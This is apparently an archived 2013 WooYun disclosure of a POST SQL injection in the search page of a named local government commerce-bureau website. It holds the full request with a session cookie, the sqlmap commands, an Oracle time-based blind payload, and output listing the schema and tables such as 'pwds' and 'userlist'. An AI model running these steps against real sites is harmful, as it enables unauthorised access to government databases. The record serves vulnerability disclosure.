乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2013-07-10: 细节已通知厂商并且等待厂商处理中 2013-07-14: 厂商已经确认,细节仅向厂商公开 2013-07-24: 细节向核心白帽子及相关领域专家公开 2013-08-03: 细节向普通白帽子公开 2013-08-13: 细节向实习白帽子公开 2013-08-24: 细节向公众公开
某工商管理局搜索页面存在SQL注入漏洞
注入类型:POST注入页面:http://www.cdgs.gov.cn/go/mhwz/sreach/sreach_list.go
将如下内容保持为 data.txt
POST /go/mhwz/sreach/sreach_list.go HTTP/1.1Content-Length: 107Content-Type: application/x-www-form-urlencodedX-Requested-With: XMLHttpRequestReferer: http://www.cdgs.gov.cn/Cookie: JSESSIONID=186A0342A9D98BE5DBF8C69229BFDB9D; _gscu_914375066=67112861fnwm6x15; _gscs_914375066=671128612b77ox15|pv:1; _gscbrs_914375066=1; gs_tc=; nowskin=6Host: www.cdgs.gov.cnConnection: Keep-aliveAccept-Encoding: gzip,deflateUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)Accept: */*author=1&end_date=1&order=0&sreach_type=0&start_date=01%2f01%2f1967&title=Mr.&web_id=20
其中post参数end_date存在注入。直接用sqlmap:sqlmap.py -r data.txt -p end_date结果如下:
Place: POSTParameter: end_date Type: AND/OR time-based blind Title: Oracle AND time-based blind Payload: author=1&end_date=1' AND 5701=DBMS_PIPE.RECEIVE_MESSAGE(CHR(79)||CHR(73)||CHR(106)||CHR(85),5) AND 'Bznk'='Bznk&order=0&sreach_type=0&start_date=01/01/1967&title=Mr.&web_id=20---[08:56:14] [INFO] the back-end DBMS is Oracleweb application technology: JSPback-end DBMS: Oracle
sqlmap.py -r data.txt -p end_date --current-db结果如下:
web application technology: JSPback-end DBMS: Oracle[08:57:29] [INFO] fetching current database[08:57:29] [WARNING] cannot properly display Unicode characters inside Windows OS command prompt (http://bugs.python.org/issue1602). All unhandled occurances will result in replacement with '?' character. Please, find proper character representation inside corresponding output files.[08:57:29] [INFO] read from file 'D:\TOOLS\????\???????\sqlmap\sqlmap1.0\output\www.cdgs.gov.cn\session': WZ]DBAcurrent schema (equivalent to database on Oracle): 'WZ]DBA'
sqlmap.py -r data.txt -p end_date --tables -D WZ]DBA结果如下:
Database: WZ]DBA[19 tables]+-------------------------------+| ACT_INFO || ActiveDataFeed || CategoryGroup || ChicksPass || ClickTrack || CountryCodes1 || CustomNav || DataFeedPerformance1 || DataFeedPerformance2 || DataFeedPerformance2_incoming || PRODUTO || backenduser || db_staff || enrollments || politics || pw_posts || pwds || spip_types_documents || userlist |+-------------------------------+
你懂的
危害等级:中
漏洞Rank:10
确认时间:2013-07-14 21:04
暂无